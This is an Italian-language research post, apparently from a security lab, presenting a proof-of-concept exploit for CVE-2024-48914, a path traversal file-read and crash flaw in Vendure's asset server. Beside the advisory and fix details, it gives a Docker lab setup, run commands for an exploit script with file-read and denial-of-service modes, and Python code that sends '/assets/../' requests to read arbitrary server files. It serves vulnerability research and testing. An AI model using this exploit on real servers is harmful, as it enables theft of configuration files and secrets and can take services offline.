eqstlab/cve-2024-48914Lettura arbitraria di file e DoS nell'exploit vendure-ecommerce
Questo post è un articolo di ricerca pubblicato da EQSTLab.
Grazie a Rajesh Sharma, che ha scoperto questa vulnerabilità.
★ CVE-2024-48914 PoC di Lettura Arbitraria di File e DoS ★
CVE-2024-48914 : vulnerabilità di lettura arbitraria di file e DoS in vendure-ecommerce
description: Vendure è una piattaforma commerce headless open-source. Prima delle versioni 3.0.5 e 2.3.3, una vulnerabilità nel plugin asset server di Vendure consente a un attaccante di creare una richiesta in grado di attraversare il file system del server e recuperare il contenuto di file arbitrari, inclusi dati sensibili come file di configurazione, variabili d'ambiente e altri dati critici memorizzati sul server. Nello stesso percorso di codice è presente un ulteriore vettore per far crashare il server tramite un URI malformato. Le patch sono disponibili nelle versioni 3.0.5 e 2.3.3. Sono disponibili anche alcune soluzioni alternative. Si può usare l'object storage invece del file system locale, ad esempio MinIO o S3, oppure definire un middleware che rilevi e blocchi le richieste con URL contenenti /../.
Scarica la versione vulnerabile(v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
Comando da eseguire
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (Lettura arbitraria di file)
CVE-2024-48914.py (Attacco DoS)
vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
La vulnerabilità deriva dall'uso di decodedReqPath direttamente in path.join senza eseguire alcuna normalizzazione del percorso, cioè path.normalize in node.js Questa vulnerabilità consente a un attaccante di creare una richiesta in grado di attraversare il file system del server e recuperare il contenuto di file arbitrari, inclusi dati sensibili come file di configurazione, variabili d'ambiente e altri dati critici memorizzati sul server.
Quando si usa il modulo python requests, il "../" viene rimosso dal percorso dell'URL. Se si utilizzano le "prepared requests" come di seguito, è possibile usare il modulo python requests senza che il "../" venga rimosso dal percorso dell'URL.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
Questo repository non è inteso come exploit di lettura arbitraria di file o DoS per CVE-2024-48914. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, magari, testare le proprie applicazioni.
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4